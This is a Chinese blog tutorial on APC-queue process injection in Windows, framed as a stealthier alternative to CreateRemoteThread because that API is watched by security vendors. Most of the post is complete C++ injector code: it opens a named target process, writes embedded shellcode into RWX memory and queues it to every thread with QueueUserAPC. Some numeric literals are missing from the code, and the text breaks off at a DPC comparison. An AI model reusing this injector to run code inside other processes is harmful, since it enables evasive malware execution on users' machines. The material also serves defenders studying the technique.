https://www.cnblogs.com/theseventhson/p/13197776.html 上一章介绍了通用的shellcode加载器,这个加载器自己调用virtualAlloc分配空间、复制shellcode、执行shellcode,所有操作都在加载器的空间,隐蔽性不强,容易被发现。如果能在其他进程空间把shellcode注入,然后执行了? 可以达到金蝉脱壳的目的;那么该怎么做了?
熟悉win32编程的同学第一时间可能就想到了createRemoteThread+virtualAllocEx:在目标进程创建一个线程,把shellcode复制到目标进程后执行。这么做技术上可行,但这两个API实在是太出名了(createRemoteThread号称是windows的万恶之源,早期很多病毒、木马都利用了这个API),早就被各大厂商盯死,可能达不到预期;今天介绍另一种远程代码注入的方式:APC注入
1、先简单介绍一下APC
- APC本质:线程在执行的时候如果自身不主动跳转去其他地方(放弃CPU控制权),就会一直占有CPU,那么怎么杀死线程了?所以有了APC机制:线程执行的时候定时检查是否有另外需要执行的代码,如果有就去执行;该代码(函数),就是APC。再直白一点:APC是个队列,里面存储了可执行的代码;线程在正常执行的时候如果满足某些特定的条件(比如alterable,这个很重要,后续会详细介绍),会去APC队列检查,一旦发现不为空,就会取出队列的代码执行,直到执行完毕为止;通过这种方式,可以让3环的死循环线程无法100%占用CPU资源,其他线程才能正常执行;
- 刚才说到alertable状态,这个怎么理解? 其实就是线程暂时没有重要的事情要做,就叫做这个状态。APC函数一般不会去干扰(中断)线程的运行。一个线程附带着两个APC队列(用户APC、系统APC),也就相当于这两个队列的APC函数都是由“线程本身”来储备调用的(APC函数就相当于奥运会比赛上的预备选手),只有当线程处于“可警告的线程等待状态”才会去调用APC函数(比赛时只有主将无法上场时,预备选手才会出现)
- 用户模式下,可以调用函数SleepEx、SignalObjectAndWait、WaitForSingleObjectEx、WaitForMultipleObjectsEx、MsgWaitForMultipleObjectsEx都可以使目标线程处于alertable等待状态(无重要事情要做),从而让用户模式APCs执行,这点也很重要,后面的实验会用到这一特性;
2、 APC代码注入核心步骤介绍
(1)APC和线程相关的,既然注入APC,势必要找到目标线程。线程又属于进程,那么就要先遍历进程,核心代码如下:先遍历进程,根据进程名(这里我自己单独写了一个简单的程序,没用explorer来测试,原因后面再解释)找到目标进程,然后打开进程、分配空间、写入shellcode;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, );
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != ) {
Process32Next(snapshot, &processEntry);
}
}
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, , processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
printf("shellAddress is: %p\n", shellAddress);
(2)接着遍历进程的线程,调用最核心的QueueUserAPC函数,将shellcode注入目标线程
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
} for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
printf("apcRoutine is: %p------>threadId:%d\n", apcRoutine, threadId);
Sleep( * );
}
(3)注入完成后就等待shellcode被调用了。这段代码是借(chao)鉴(xi)https://ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection 这里的,原作者刚开始用的explorer.exe,我也是这么做的,代码运行后,迟迟不见效果,于时打开process hacker,发现shellcode已经注入目标进程空间,如下:
并且地址的属性是RWX,这里没任何问题,shellcode迟迟未被执行的原因只能是线程状态不是alterable了,这里没办法,只能继续等;process hacker提供了查看线程状态的功能,等了许久还是未等到有线程的状态变为alertable,一直看不到效果,无奈只能放弃这种方式;
(4)既然等不到,就自己构造,很简单,如下:核心是调用sleepEX函数,让其休眠10分钟,第二个参数是TRUE,表明是alertable 的,这样一来只要APC队列有代码,main函数就会执行;
#include <windows.h>
#include <stdio.h> int main()
{
printf("enter alertable statues...............");
SleepEx(*,TRUE);
}
执行后查看发现只有这一个线程的,应该是main:
这次终于成功执行了自己的shellcode:能看到messagebox的弹窗:
目标程序所在的目录下也生成了1.txt文本;
3、实验总结:
(1)上面shellcode都是手动复制到代码内,写死了不说,每次复制shellcode还比较麻烦,当时我想着写代码直接从磁盘读(最初的加载器不就是这么干的么?),如下:
HANDLE hFile = CreateFileA(argv[], GENERIC_READ, , NULL, OPEN_ALWAYS, , NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Open File Error!%d\n", GetLastError());
return -;
}
DWORD dwSize;
dwSize = GetFileSize(hFile, NULL); LPVOID buf = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buf == NULL)
{
printf("VirtualAlloc error:%d\n", GetLastError());
CloseHandle(hFile);
return -; }
DWORD dwRead;
ReadFile(hFile, buf, dwSize, &dwRead, );
printf("\n%s File read length:%d \n", argv[], dwRead);
printf("buf length=%d \n", sizeof(buf));//shellcode里面有00,导致buf被阶段,长度只有4;
查看目标进程内存时发现并未复制完全,罪魁祸首是中间遇到00,被截断,buf读取的长度只有4;
各位读者有更好的解决办法还请不吝赐教。
(2)完整的代码:
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector> int main()
{
unsigned char buf[] = "\xE9\x8B\x01\x00\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x64\xA1\x30\x00\x00\x00\x85\xC0\x78\x0D\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x40\x53\x56\x8B\xD9\x57\x89\x5D\xF4\xE8\xCD\xFF\xFF\xFF\x8B\xF0\x33\xFF\x8B\x56\x3C\x39\x7C\x32\x7C\x75\x07\x33\xFF\xE9\x9C\x00\x00\x00\x8B\x44\x32\x78\x85\xC0\x74\xF1\x8B\x54\x30\x18\x85\xD2\x74\xE9\x8B\x4C\x30\x24\x8B\x5C\x30\x20\x03\xCE\x8B\x44\x30\x1C\x03\xDE\x03\xC6\x89\x4D\xFC\x33\xC9\x89\x45\xF8\x4A\x8B\x04\x8B\x03\xC6\x80\x38\x47\x75\x4E\x80\x78\x01\x65\x75\x48\x80\x78\x02\x74\x75\x42\x80\x78\x03\x50\x75\x3C\x80\x78\x04\x72\x75\x36\x80\x78\x05\x6F\x75\x30\x80\x78\x06\x63\x75\x2A\x80\x78\x07\x41\x75\x24\x80\x78\x08\x64\x75\x1E\x80\x78\x09\x64\x75\x18\x80\x78\x0A\x72\x75\x12\x80\x78\x0B\x65\x75\x0C\x80\x78\x0C\x73\x75\x06\x80\x78\x0D\x73\x74\x07\x41\x3B\xCA\x76\xA3\xEB\x0F\x8B\x45\xFC\x8B\x7D\xF8\x0F\xB7\x04\x48\x8B\x3C\x87\x03\xFE\x8B\x5D\xF4\x8D\x45\xC0\x89\x3B\x50\xC7\x45\xC0\x4C\x6F\x61\x64\xC7\x45\xC4\x4C\x69\x62\x72\xC7\x45\xC8\x61\x72\x79\x41\xC6\x45\xCC\x00\xE8\xF9\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x8D\x4D\xDC\x89\x43\x04\x51\x8D\x4D\xE8\xC7\x45\xE8\x55\x73\x65\x72\x51\xC7\x45\xEC\x33\x32\x2E\x64\x66\xC7\x45\xF0\x6C\x6C\xC6\x45\xF2\x00\xC7\x45\xDC\x4D\x65\x73\x73\xC7\x45\xE0\x61\x67\x65\x42\xC7\x45\xE4\x6F\x78\x41\x00\xFF\xD0\x50\x8B\x03\xFF\xD0\x89\x43\x08\x8D\x45\xD0\x50\xC7\x45\xD0\x43\x72\x65\x61\xC7\x45\xD4\x74\x65\x46\x69\xC7\x45\xD8\x6C\x65\x41\x00\xE8\x94\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x5F\x5E\x89\x43\x0C\x5B\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x24\x8D\x4D\xDC\xE8\x92\xFE\xFF\xFF\x6A\x00\x8D\x45\xFC\xC7\x45\xEC\x48\x65\x6C\x6C\x50\x8D\x45\xEC\x66\xC7\x45\xF0\x6F\x21\x50\x6A\x00\xC6\x45\xF2\x00\xC7\x45\xFC\x54\x69\x70\x00\xFF\x55\xE4\x6A\x00\x6A\x00\x6A\x02\x6A\x00\x6A\x00\x68\x00\x00\x00\x40\x8D\x45\xF4\xC7\x45\xF4\x31\x2E\x74\x78\x50\x66\xC7\x45\xF8\x74\x00\xFF\x55\xE8\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC"; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, );
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != ) {
Process32Next(snapshot, &processEntry);
}
} victimProcess = OpenProcess(PROCESS_ALL_ACCESS, , processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
printf("shellAddress is: %p\n", shellAddress); if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
} for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
printf("apcRoutine is: %p------>threadId:%d\n", apcRoutine, threadId);
Sleep( * );
} return ;
}
(3)和APC对应另一个重要的概念是DPC,这里简单做个总结对比:
APC执行过程: